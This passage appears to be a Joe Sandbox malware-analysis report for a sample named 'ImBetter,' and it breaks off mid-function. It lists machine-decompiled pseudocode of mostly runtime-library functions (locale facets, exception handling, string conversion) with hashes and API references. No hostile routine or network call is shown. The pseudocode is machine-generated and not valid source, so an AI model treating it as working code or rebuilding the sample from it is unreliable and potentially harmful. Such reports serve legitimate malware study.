_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0BD7A

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recvsend
String ID:
API String ID: 992680824-0
Opcode ID: fb6b4f5ee3261697a5d44d6981b75723e251a43af35ac61d104d64309921a04c
Instruction ID: b60131fc924c3c388a16f2f08c37a4deb86dfd2b8651ebb5d0c3e8c633fcf7b0
Opcode Fuzzy Hash: fb6b4f5ee3261697a5d44d6981b75723e251a43af35ac61d104d64309921a04c
Instruction Fuzzy Hash: 8E410362B2868281FB14FB29D85576EB711AB45BD8FA04233DA5D07ADADFBDD0C08311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B10F50 Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF7E6B10F50(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* __rsi;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t26 = E00007FF77FF7E6B43D9C(_t25, 0,  &_v52);
				_t80 =  *0xe6b6e0c8;
				_v48 = _t80;
				_t76 =  *0xe6b6e100;
				if (_t76 != 0) goto 0xe6b10fd6;
				E00007FF77FF7E6B43D9C(_t26, 0,  &_v56);
				if ( *0xe6b6e100 != _t76) goto 0xe6b10fc5;
				_t28 =  *0xe6b6dcb8; // 0x3
				 *0xe6b6dcb8 = _t28 + 1;
				 *0xe6b6e100 = _t53;
				_t31 = E00007FF77FF7E6B43E14(_t53,  &_v56);
				_t77 =  *0xe6b6e100;
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0xe6b10ff7;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0xe6b11056;
				goto 0xe6b10ff9;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0xe6b11012;
				E00007FF77FF7E6B44068(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0xe6b11017;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0xe6b11056;
				if (_t80 == 0) goto 0xe6b11021;
				goto 0xe6b11056;
				E00007FF77FF7E6B11760(_t55, _t80,  &_v48, _t85, _t78);
				if (_t55 == 0xffffffff) goto 0xe6b11083;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF7E6B44030(_t55 - 0xffffffff, _t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0xe6b6e0c8 = _t61;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B43E14(_t35,  &_v52), _t39, _v40 ^ _t83);
			}

0x7ff7e6b10f50
0x7ff7e6b10f55
0x7ff7e6b10f5e
0x7ff7e6b10f62
0x7ff7e6b10f69
0x7ff7e6b10f6c
0x7ff7e6b10f71
0x7ff7e6b10f7b
0x7ff7e6b10f81
0x7ff7e6b10f88
0x7ff7e6b10f8d
0x7ff7e6b10f97
0x7ff7e6b10fa0
0x7ff7e6b10fac
0x7ff7e6b10fae
0x7ff7e6b10fb6
0x7ff7e6b10fbe
0x7ff7e6b10fca
0x7ff7e6b10fcf
0x7ff7e6b10fd6
0x7ff7e6b10fda
0x7ff7e6b10fe6
0x7ff7e6b10fe8
0x7ff7e6b10ff3
0x7ff7e6b10ff5
0x7ff7e6b10ffd
0x7ff7e6b10fff
0x7ff7e6b11008
0x7ff7e6b1100a
0x7ff7e6b11015
0x7ff7e6b1101a
0x7ff7e6b1101f
0x7ff7e6b11029
0x7ff7e6b11032
0x7ff7e6b11034
0x7ff7e6b11039
0x7ff7e6b11041
0x7ff7e6b1104c
0x7ff7e6b1104f
0x7ff7e6b11082

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B10F7B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B10FA0
std::_Facet_Register.LIBCPMT ref: 00007FF7E6B11041
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B11083

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 9db15f2567b74396a25bbb6be676cf5914eb32e701901aee80913aad14508a40
Instruction ID: 944a7223565dfbf75b5100484964c379c54bb657bff3d9230f7b3c3f42e5b4e2
Opcode Fuzzy Hash: 9db15f2567b74396a25bbb6be676cf5914eb32e701901aee80913aad14508a40
Instruction Fuzzy Hash: FF31A062A2CA4280EA20EF15EC4937BB361FB54B94FA80533DA5D473A5DE3CE8518721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B11090 Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF7E6B11090(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				long long _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t26 = E00007FF77FF7E6B43D9C(_t25, 0,  &_v52);
				_t80 =  *0xe6b6e0d0;
				_v48 = _t80;
				_t76 =  *0xe6b6e0f0;
				if (_t76 != 0) goto 0xe6b11116;
				E00007FF77FF7E6B43D9C(_t26, 0,  &_v56);
				if ( *0xe6b6e0f0 != _t76) goto 0xe6b11105;
				_t28 =  *0xe6b6dcb8; // 0x3
				 *0xe6b6dcb8 = _t28 + 1;
				 *0xe6b6e0f0 = _t53;
				_t31 = E00007FF77FF7E6B43E14(_t53,  &_v56);
				_t77 =  *0xe6b6e0f0;
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0xe6b11137;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0xe6b11196;
				goto 0xe6b11139;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0xe6b11152;
				E00007FF77FF7E6B44068(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0xe6b11157;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0xe6b11196;
				if (_t80 == 0) goto 0xe6b11161;
				goto 0xe6b11196;
				E00007FF77FF7E6B113A0(_t55,  &_v48, _t85);
				if (_t55 == 0xffffffff) goto 0xe6b111c3;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF7E6B44030(_t55 - 0xffffffff, _t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0xe6b6e0d0 = _t61;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B43E14(_t35,  &_v52), _t39, _v40 ^ _t83);
			}

0x7ff7e6b11090
0x7ff7e6b11095
0x7ff7e6b1109e
0x7ff7e6b110a2
0x7ff7e6b110a9
0x7ff7e6b110ac
0x7ff7e6b110b1
0x7ff7e6b110bb
0x7ff7e6b110c1
0x7ff7e6b110c8
0x7ff7e6b110cd
0x7ff7e6b110d7
0x7ff7e6b110e0
0x7ff7e6b110ec
0x7ff7e6b110ee
0x7ff7e6b110f6
0x7ff7e6b110fe
0x7ff7e6b1110a
0x7ff7e6b1110f
0x7ff7e6b11116
0x7ff7e6b1111a
0x7ff7e6b11126
0x7ff7e6b11128
0x7ff7e6b11133
0x7ff7e6b11135
0x7ff7e6b1113d
0x7ff7e6b1113f
0x7ff7e6b11148
0x7ff7e6b1114a
0x7ff7e6b11155
0x7ff7e6b1115a
0x7ff7e6b1115f
0x7ff7e6b11169
0x7ff7e6b11172
0x7ff7e6b11174
0x7ff7e6b11179
0x7ff7e6b11181
0x7ff7e6b1118c
0x7ff7e6b1118f
0x7ff7e6b111c2

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B110BB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B110E0
std::_Facet_Register.LIBCPMT ref: 00007FF7E6B11181
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B111C3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: d2b3ea85d06e5588db74c5f0c0af1998f1da57dbcfd00beeda86fc9ad78e6025
Instruction ID: 39a86234011f5f4614e6336f6e380e4c9d839496ef89c795a741f512305601d6
Opcode Fuzzy Hash: d2b3ea85d06e5588db74c5f0c0af1998f1da57dbcfd00beeda86fc9ad78e6025
Instruction Fuzzy Hash: 64316262A2CA0290EA10EF15EC4537BF361FB54B94FA80533DA5D47395EE3CE851C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B43428 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7E6B43471
GetLastError.KERNEL32 ref: 00007FF7E6B4347F
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF7E6B09EE9), ref: 00007FF7E6B434B4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF7E6B09EE9), ref: 00007FF7E6B434C2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 4cc26aa0947a627052bdb5b718167924c0ddf6b58c3c59c59957b148d9983c0d
Instruction ID: 6ec545cf23e0f32689f8b257504ecb09142fce688fa0f18e9107db48e4a05aee
Opcode Fuzzy Hash: 4cc26aa0947a627052bdb5b718167924c0ddf6b58c3c59c59957b148d9983c0d
Instruction Fuzzy Hash: 51212976A28B8586E7109F12A84432FBBB4F7D8BD4F64013ADB8953B54EF3DD8018B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B09638 Relevance: 6.0, APIs: 4, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF7E6B09638(void* __eax, void* __ecx, long long __rax, short* __rcx) {
				long long _t23;
				short* _t25;
				void* _t26;

				_t25 = __rcx;
				_t23 = __rax;
				E00007FF77FF7E6B259B4();
				asm("int3");
				E00007FF77FF7E6B259B4();
				asm("int3");
				E00007FF77FF7E6B01310(__rax);
				asm("int3");
				E00007FF77FF7E6B259B4();
				asm("int3");
				E00007FF77FF7E6B013B0(_t26);
				asm("int3");
				E00007FF77FF7E6B013B0(_t26);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				 *((long long*)(_t25 + 0x10)) = _t23;
				 *((long long*)(_t25 + 0x18)) = 7;
				 *_t25 = 0;
				asm("movups [ecx+0x20], xmm0");
				 *((long long*)(_t25 + 0x30)) = _t23;
				 *((long long*)(_t25 + 0x38)) = 7;
				 *((short*)(_t25 + 0x20)) = 0;
				asm("movups [ecx+0x40], xmm0");
				 *((long long*)(_t25 + 0x50)) = _t23;
				 *((long long*)(_t25 + 0x58)) = 7;
				 *((short*)(_t25 + 0x40)) = 0;
				asm("movups [ecx+0x60], xmm0");
				 *((long long*)(_t25 + 0x70)) = _t23;
				 *((long long*)(_t25 + 0x78)) = 7;
				 *((short*)(_t25 + 0x60)) = 0;
				asm("movups [ecx+0x80], xmm0");
				 *((long long*)(_t25 + 0x90)) = _t23;
				 *((long long*)(_t25 + 0x98)) = 7;
				 *((short*)(_t25 + 0x80)) = 0;
				return 0;
			}

0x7ff7e6b09638
0x7ff7e6b09638
0x7ff7e6b0963a
0x7ff7e6b0963f
0x7ff7e6b09640
0x7ff7e6b09645
0x7ff7e6b09646
0x7ff7e6b0964b
0x7ff7e6b0964c
0x7ff7e6b09651
0x7ff7e6b09652
0x7ff7e6b09657
0x7ff7e6b09658
0x7ff7e6b0965d
0x7ff7e6b0965e
0x7ff7e6b0965f
0x7ff7e6b09662
0x7ff7e6b09665
0x7ff7e6b09668
0x7ff7e6b0966c
0x7ff7e6b09674
0x7ff7e6b09677
0x7ff7e6b0967b
0x7ff7e6b0967f
0x7ff7e6b09687
0x7ff7e6b0968b
0x7ff7e6b0968f
0x7ff7e6b09693
0x7ff7e6b0969b
0x7ff7e6b0969f
0x7ff7e6b096a3
0x7ff7e6b096a7
0x7ff7e6b096af
0x7ff7e6b096b3
0x7ff7e6b096ba
0x7ff7e6b096c1
0x7ff7e6b096cc
0x7ff7e6b096d6

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0963A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09640
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09646

Part of subcall function 00007FF7E6B01310: __std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B01354

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0964C

Part of subcall function 00007FF7E6B013B0: std::_Xinvalid_argument.LIBCPMT ref: 00007FF7E6B013BB
Part of subcall function 00007FF7E6B013B0: __std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B013F4

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy$Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID:
API String ID: 443258281-0
Opcode ID: 20ed07adcdf67202fb60c4ff12e1a67a67e323ffc5173e75c184d0e16c07f94c
Instruction ID: 4cd6d4a5d272f38bdcfac14604478d6f65e606201b6c8327a87a59c552c67bdc
Opcode Fuzzy Hash: 20ed07adcdf67202fb60c4ff12e1a67a67e323ffc5173e75c184d0e16c07f94c
Instruction Fuzzy Hash: 18C00A5582904F6EF06D77E1088E6BBA5924F25654EB04D32B3EC09C9F6C3A705514E3

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B41904 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 74%

			E00007FF77FF7E6B41904(void* __ebp, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r9) {
				void* __rdi;
				void* _t73;
				intOrPtr _t78;
				unsigned int _t103;
				void* _t131;
				intOrPtr _t135;
				intOrPtr* _t139;
				signed char* _t143;
				void* _t144;
				void* _t169;
				signed char* _t170;
				long long _t174;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t193;
				void* _t194;
				void* _t196;

				_t187 = __r9;
				_t131 = __rax;
				 *((long long*)(_t177 + 8)) = __rbx;
				 *((long long*)(_t177 + 0x10)) = _t174;
				 *((long long*)(_t177 + 0x18)) = __rsi;
				_t178 = _t177 - 0x80;
				_t139 = __rcx;
				_t175 = __r9;
				_t194 = __rdx;
				E00007FF77FF7E6B42D54(_t73, __r8);
				E00007FF77FF7E6B3FA9C(_t131);
				_t170 =  *((intOrPtr*)(_t178 + 0xc0));
				r8d = 0x80000029;
				r9d = 0x80000026;
				if ( *((intOrPtr*)(_t131 + 0x40)) != 0) goto 0xe6b4197e;
				if ( *__rcx == 0xe06d7363) goto 0xe6b4197e;
				if ( *__rcx != r8d) goto 0xe6b41970;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0xe6b41975;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0xe6b4197e;
				if ( *__rcx == r9d) goto 0xe6b4197e;
				if (( *_t170 & 0x00000020) != 0) goto 0xe6b41b70;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0xe6b41aa2;
				if (_t170[8] == 0) goto 0xe6b41b70;
				if ( *(_t170[8] +  *((intOrPtr*)(__r9 + 8)) -  *((char*)(__r8 + 0x7ff7e6b57da0)) - 4) >>  *(__r8 + 0x7ff7e6b57db0) == 0) goto 0xe6b41b70;
				if ( *((intOrPtr*)(_t178 + 0xc8)) != 0) goto 0xe6b41b70;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0xe6b41a8f;
				if ( *__rcx != r9d) goto 0xe6b41a46;
				_t143 = _t170;
				_t78 = E00007FF77FF7E6B3FD48(__ebp, __rcx, _t143, __r9, _t170, __rsi, __r9,  *((intOrPtr*)(__r9 + 0x20)), _t196, _t193);
				r9d = _t78;
				if (_t78 - 0xffffffff < 0) goto 0xe6b41b92;
				if (_t170[8] == 0) goto 0xe6b41a2a;
				_t103 =  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) - _t143[0x7ff7e6b57da0] - 4) >> _t143[0x7ff7e6b57db0];
				if (r9d - _t103 >= 0) goto 0xe6b41b92;
				_t144 = _t194;
				E00007FF77FF7E6B425C0(_t143[0x7ff7e6b57db0], _t144, _t175, _t170, _t187);
				goto 0xe6b41b70;
				if ( *__rcx != r8d) goto 0xe6b41a8f;
				r9d =  *((intOrPtr*)(__rcx + 0x38));
				if (r9d - 0xffffffff < 0) goto 0xe6b41b92;
				if (r9d -  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) -  *((char*)(_t144 + 0x7ff7e6b57da0)) - 4) >>  *(_t144 + 0x7ff7e6b57db0) >= 0) goto 0xe6b41b92;
				goto 0xe6b41a36;
				E00007FF77FF7E6B3DD4C( *((char*)(_t144 + 0x7ff7e6b57da0)), _t194, _t170);
				goto 0xe6b41b70;
				E00007FF77FF7E6B41C78(_t178 + 0x50, _t170,  *((intOrPtr*)(_t175 + 8)));
				if ( *((intOrPtr*)(_t178 + 0x50)) != _t103) goto 0xe6b41ac2;
				if (( *_t170 & 0x00000040) == 0) goto 0xe6b41b70;
				if ( *_t139 != 0xe06d7363) goto 0xe6b41b37;
				if ( *((intOrPtr*)(_t139 + 0x18)) - 3 < 0) goto 0xe6b41b37;
				if ( *((intOrPtr*)(_t139 + 0x20)) - 0x19930522 <= 0) goto 0xe6b41b37;
				_t135 =  *((intOrPtr*)(_t139 + 0x30));
				if ( *((intOrPtr*)(_t135 + 8)) == _t103) goto 0xe6b41b37;
				E00007FF77FF7E6B3E5A8(_t135);
				if (_t135 +  *((intOrPtr*)( *((intOrPtr*)(_t139 + 0x30)) + 8)) == 0) goto 0xe6b41b37;
				 *(_t178 + 0x38) =  *(_t178 + 0xd8) & 0x000000ff;
				 *((long long*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x28)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *(_t178 + 0x20) = _t170;
				 *0xe6b4f3c8(_t169);
				goto 0xe6b41b75;
				 *(_t178 + 0x38) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *((char*)(_t178 + 0x28)) =  *(_t178 + 0xd8);
				 *(_t178 + 0x20) = _t170;
				E00007FF77FF7E6B40A40( *(_t178 + 0xd8) & 0x000000ff, _t139, _t194, 0x7ff7e6b00000, _t175);
				return 1;
			}

0x7ff7e6b41904
0x7ff7e6b41904
0x7ff7e6b41904
0x7ff7e6b41909
0x7ff7e6b4190e
0x7ff7e6b41918
0x7ff7e6b4191f
0x7ff7e6b41922
0x7ff7e6b4192b
0x7ff7e6b4192e
0x7ff7e6b41933
0x7ff7e6b41938
0x7ff7e6b41942
0x7ff7e6b41948
0x7ff7e6b41951
0x7ff7e6b41959
0x7ff7e6b4195e
0x7ff7e6b41964
0x7ff7e6b4196e
0x7ff7e6b41973
0x7ff7e6b41978
0x7ff7e6b41982
0x7ff7e6b4198b
0x7ff7e6b419c1
0x7ff7e6b419ce
0x7ff7e6b419d8
0x7ff7e6b419e1
0x7ff7e6b419ea
0x7ff7e6b419ed
0x7ff7e6b419f2
0x7ff7e6b419f8
0x7ff7e6b41a01
0x7ff7e6b41a28
0x7ff7e6b41a2d
0x7ff7e6b41a33
0x7ff7e6b41a3c
0x7ff7e6b41a41
0x7ff7e6b41a49
0x7ff7e6b41a4b
0x7ff7e6b41a53
0x7ff7e6b41a83
0x7ff7e6b41a8d
0x7ff7e6b41a98
0x7ff7e6b41a9d
0x7ff7e6b41aae
0x7ff7e6b41ab7
0x7ff7e6b41abc
0x7ff7e6b41ac8
0x7ff7e6b41ace
0x7ff7e6b41ad7
0x7ff7e6b41ad9
0x7ff7e6b41ae0
0x7ff7e6b41ae2
0x7ff7e6b41af5
0x7ff7e6b41b0c
0x7ff7e6b41b1b
0x7ff7e6b41b23
0x7ff7e6b41b2a
0x7ff7e6b41b2f
0x7ff7e6b41b35
0x7ff7e6b41b42
0x7ff7e6b41b54
0x7ff7e6b41b62
0x7ff7e6b41b66
0x7ff7e6b41b6b
0x7ff7e6b41b91

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E6B4192E

Strings

csm, xrefs: 00007FF7E6B41953
csm, xrefs: 00007FF7E6B41AC2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 9610e2ece97d099d2c3d9e7e2b5f71450218a811de0a20f4d09b968f96add5a1
Instruction ID: 16826032d37f2b1a1d791edd38d4279a472dcf1809fb3749b8ae38bf374790e3
Opcode Fuzzy Hash: 9610e2ece97d099d2c3d9e7e2b5f71450218a811de0a20f4d09b968f96add5a1
Instruction Fuzzy Hash: CA71C432A2868186D760AF25985477EBBA0FB01BC4FA48137DE9C07B85EF3CD451C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B11760 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7E6B11760(long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				void* _t41;
				void* _t50;
				intOrPtr _t75;
				long long* _t89;
				long long _t92;
				void* _t95;
				void* _t97;
				void* _t100;
				void* _t101;
				long long _t103;

				_t66 = __rax;
				 *((long long*)(_t97 + 0x10)) = __rbx;
				 *((long long*)(_t97 + 0x18)) = __rsi;
				_push(_t103);
				_t95 = _t97 - 0x47;
				_t89 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0xe6b118a8;
				if ( *__rcx != _t103) goto 0xe6b118a8;
				_t4 = _t103 + 0x10; // 0x10
				_t53 = _t4;
				_t41 = E00007FF77FF7E6B3CAAC( *__rcx - _t103, __rax, __rcx);
				_t92 = __rax;
				 *((long long*)(_t95 + 0x67)) = __rax;
				_t75 =  *((intOrPtr*)(__rdx + 8));
				if (_t75 == 0) goto 0xe6b117bd;
				if ( *((intOrPtr*)(_t75 + 0x28)) != 0) goto 0xe6b117c4;
				goto 0xe6b117c4;
				E00007FF77FF7E6B43D9C(_t41, 0, _t95 - 0x29);
				 *((long long*)(_t95 - 0x21)) = _t103;
				 *((char*)(_t95 - 0x19)) = 0;
				 *((long long*)(_t95 - 0x11)) = _t103;
				 *((char*)(_t95 - 9)) = 0;
				 *((long long*)(_t95 - 1)) = _t103;
				 *((intOrPtr*)(_t95 + 7)) = r14w;
				 *((long long*)(_t95 + 0xf)) = _t103;
				 *((intOrPtr*)(_t95 + 0x17)) = r14w;
				 *((long long*)(_t95 + 0x1f)) = _t103;
				 *((char*)(_t95 + 0x27)) = 0;
				 *((long long*)(_t95 + 0x2f)) = _t103;
				 *((char*)(_t95 + 0x37)) = 0;
				if (0xe6b5dda3 == 0) goto 0xe6b118c5;
				E00007FF77FF7E6B441E4(_t66, 0xe6b5dda3, _t95 - 0x29, 0xe6b5dda3, _t89, _t92, _t101);
				 *((intOrPtr*)(_t92 + 8)) = r14d;
				 *_t92 = 0xe6b5a5a8;
				 *_t89 = _t92;
				E00007FF77FF7E6B44250(_t95 - 0x29);
				if ( *((intOrPtr*)(_t95 + 0x2f)) == 0) goto 0xe6b11840;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0x2f)) = _t103;
				if ( *((intOrPtr*)(_t95 + 0x1f)) == 0) goto 0xe6b11852;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0x1f)) = _t103;
				if ( *((intOrPtr*)(_t95 + 0xf)) == 0) goto 0xe6b11864;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0xf)) = _t103;
				if ( *((intOrPtr*)(_t95 - 1)) == 0) goto 0xe6b11876;
				E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
